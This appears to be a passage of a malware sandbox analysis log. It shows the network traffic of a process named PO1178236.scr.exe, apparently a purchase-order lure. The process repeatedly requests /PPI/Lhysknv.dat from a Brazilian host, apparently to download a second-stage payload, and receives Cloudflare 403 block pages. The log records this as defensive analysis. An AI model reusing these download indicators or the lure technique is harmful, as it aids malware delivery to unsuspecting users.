5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:10 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:29:10 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:29:10 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 66 38 38 64 61 32 34 32 37 63 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6f88da2427c</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:29:10 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 66 38 38 64 61 32 34 32 37 63 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6f88da2427c',t:'MTczNjQwNzc1MC4wMDAwMDA='};var a=d
2025-01-09 07:29:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49818	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:11 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:11 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:26 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ZTaj29UeatnusvwSsNl%2B7cjFg0r19Zwj6OPqfT%2BDOqvEMfpLksD1ghuikkvnZkLlCQ7G5KQvooK5vddkp6cL%2FrfYhqCbuYrM8YkGR5H7HTQ2G%2FG0SHOtnr%2FWaLkN4jDo3oM1i8ht%2F4igm3I"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6fcdda61895-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1701&min_rtt=1691&rtt_var=655&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1645070&cwnd=185&unsent_bytes=0&cid=98539368e4d2df02&ts=206&x=0"
2025-01-09 07:29:11 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:11 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:11 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:11 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 66 63 64 64 61 36 31 38 39 35 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6fcdda61895</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:11 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 66 63 64 64 61 36 31 38 39 35 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6fcdda61895',t:'MTczNjQwNzc1MS4wMDAwMDA='}
2025-01-09 07:29:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49819	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:11 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:11 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:26 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mi4PjBxf1%2BAMy0KGW3y0eJPuMzLgMao650Z7Ez3fxpmmE6rE7GZMZ4sXhPiFXDOzvKE0l28uy2uuOyxYmi02fkskyROQh9bgtpnZVcovur08FjrUPDOTQwsQNoBFGLc38EgX%2BY7nodAYF4KB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7009d8a432c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2062&min_rtt=2050&rtt_var=792&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1360671&cwnd=193&unsent_bytes=0&cid=eaeb8f34c6373502&ts=132&x=0"
2025-01-09 07:29:11 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:11 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:29:11 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:29:11 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 30 30 39 64 38 61 34 33 32 63 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7009d8a432c</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:29:11 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 30 30 39 64 38 61 34 33 32 63 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4d 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7009d8a432c',t:'MTczNjQwNzc1MS4wMDAwMDA='};var a=d
2025-01-09 07:29:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49820	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:12 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:12 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rfIZ%2BaVIG48rpboQqYFr8FXHNwLE0YXI9vocqebdO4PYbhPpe3hD7jmM9SBjyDIjnFNG2akw%2FFhmx%2FAeSNUuR66Y9IJ2oMMhHRc%2F11gx9ceU%2Bccdfnzk9B5gCTFEJQ71datnvKGPmysrz0pa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b704fe90426a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1684&rtt_var=641&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1693735&cwnd=225&unsent_bytes=0&cid=646dba275759aa1d&ts=235&x=0"
2025-01-09 07:29:12 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:12 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
